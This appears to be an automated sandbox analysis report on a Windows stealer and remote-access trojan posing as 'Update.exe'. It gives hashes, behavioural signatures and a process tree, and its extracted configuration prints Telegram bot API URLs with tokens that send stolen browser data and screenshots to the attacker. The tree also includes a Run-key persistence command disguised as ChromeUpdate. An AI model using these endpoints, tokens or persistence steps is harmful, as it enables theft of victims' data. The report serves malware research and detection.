Overview

overview

10

Static

static

3

Update.exe

windows7-x64

10

Update.exe

windows10-2004-x64

10

Resubmissions

16-07-2024 14:40

240716-r1xa6szgmb 10

Analysis

  • max time kernel
    67s
  • max time network
    69s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-07-2024 14:40

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Update.exe

  • Size

    5.6MB

  • MD5

    3d3c49dd5d13a242b436e0a065cd6837

  • SHA1

    e38a773ffa08452c449ca5a880d89cfad24b6f1b

  • SHA256

    e0338c845a876d585eceb084311e84f3becd6fa6f0851567ba2c5f00eeaf4ecf

  • SHA512

    dd0e590310392b0543d47a2d24d55f6f091ba59acc0d7ea533039ffb48f1b8938587889bcfa19b0538a62ba26fcde2172253860ceab34af40fd7bf65b6587b00

  • SSDEEP

    98304:nsl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6UcR6s:nPOuK6mn9NzgMoYkSIvUcwti7TQlvciY

Score
10/10
gurcumilleniumratpersistenceratspywarestealer

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0%20kb

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendMessage?chat_id=-1002245526003

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/getUpdates?offset=-

https://api.telegram.org/bot7457548429:AAGMvKYWjBbGXayEC5uoksRl1i2BIy7ylDg/sendMessage?chat_id=6024388590

https://api.telegram.org/bot7457548429:AAGMvKYWjBbGXayEC5uoksRl1i2BIy7ylDg/getUpdates?offset=-

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%B8Screenshot%20take

Signatures

  • Gurcu, WhiteSnake

    Gurcu is a malware stealer written in C#.

    stealergurcu
  • MilleniumRat

    MilleniumRat is a remote access trojan written in C#.

    ratstealermilleniumrat
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Update.exe
    "C:\Users\Admin\AppData\Local\Temp\Update.exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2416
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpBB12.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpBB12.tmp.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4300
      • C:\Windows\system32\tasklist.exe
        Tasklist /fi "PID eq 2416"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2372
      • C:\Windows\system32\find.exe
        find ":"
        3⤵
          PID:2448
        • C:\Windows\system32\timeout.exe
          Timeout /T 1 /Nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:2708
        • C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe
          "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2796
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3068
            • C:\Windows\system32\reg.exe
              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
              5⤵
              • Adds Run key to start application
              • Modifies registry key
              PID:3568

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Update.exe.log
      Filesize

      1KB

      MD5

      9e8cab527db784fa373e8b3ee2809029

      SHA1

      b1fea2a154908c1a0bfc476f0279f44dbb89249c

      SHA256

      84c010466cd6465eec0ac04f1aa37652cf4ed3532e7981ac0fb59df855d7cc4c

      SHA512

      f238dd04fa22540bd10803fd59d49944511df1b340b4a68f0c096c45498e6c58218d07768ad0572ed8886bb5b20053e42adf235447065bbbfa0e6d9fd77e9cfc

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll
      Filesize

      1.7MB

      MD5

      65ccd6ecb99899083d43f7c24eb8f869

      SHA1

      27037a9470cc5ed177c0b6688495f3a51996a023

      SHA256

      aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

      SHA512

      533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\tmpBB12.tmp.bat
      Filesize

      256B

      MD5

      7d481f457547444a8cc2cdc615b4fb03

      SHA1

      f90185a6579a81dcee33f89a2ccaac89cf6a3b69

      SHA256

      050a73fb402038e73dc388a8ab31be14a0ca11fe4ef2f0333ef1f8e9fe142187

      SHA512

      7f2e4c986fafb169e59f3c231157850566e825eef6cce45e687fffbb0f0a80adba35a52118ab72bdd387945c88f8f0c6fd561c6c5dc013b18da30ef276df561b

      Download Submit

    • C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe
      Filesize

      5.6MB

      MD5

      3d3c49dd5d13a242b436e0a065cd6837

      SHA1

      e38a773ffa08452c449ca5a880d89cfad24b6f1b

      SHA256

      e0338c845a876d585eceb084311e84f3becd6fa6f0851567ba2c5f00eeaf4ecf

      SHA512

      dd0e590310392b0543d47a2d24d55f6f091ba59acc0d7ea533039ffb48f1b8938587889bcfa19b0538a62ba26fcde2172253860ceab34af40fd7bf65b6587b00

      Download Submit

    • memory/2416-7-0x00007FF8ED2E0000-0x00007FF8EDDA1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2416-8-0x000001A214B30000-0x000001A214B4E000-memory.dmp

      Filesize

      120KB

      Download

    • memory/2416-12-0x00007FF8ED2E0000-0x00007FF8EDDA1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2416-0-0x00007FF8ED2E3000-0x00007FF8ED2E5000-memory.dmp

      Filesize

      8KB

      Download

    • memory/2416-6-0x000001A22EBF0000-0x000001A22EC66000-memory.dmp

      Filesize

      472KB

      Download

    • memory/2416-1-0x000001A214160000-0x000001A214700000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/2796-20-0x00000218EEC60000-0x00000218EEC6A000-memory.dmp

      Filesize

      40KB

      Download

    • memory/2796-21-0x00000218EECE0000-0x00000218EED4A000-memory.dmp

      Filesize

      424KB

      Download

    • memory/2796-24-0x00000218EEFD0000-0x00000218EF00A000-memory.dmp

      Filesize

      232KB

      Download

    • memory/2796-25-0x00000218EDA70000-0x00000218EDA96000-memory.dmp

      Filesize

      152KB

      Download

    • memory/2796-43-0x00000218EF010000-0x00000218EF022000-memory.dmp

      Filesize

      72KB

      Download

    • memory/2796-47-0x00000218EFF60000-0x00000218F000A000-memory.dmp

      Filesize

      680KB

      Download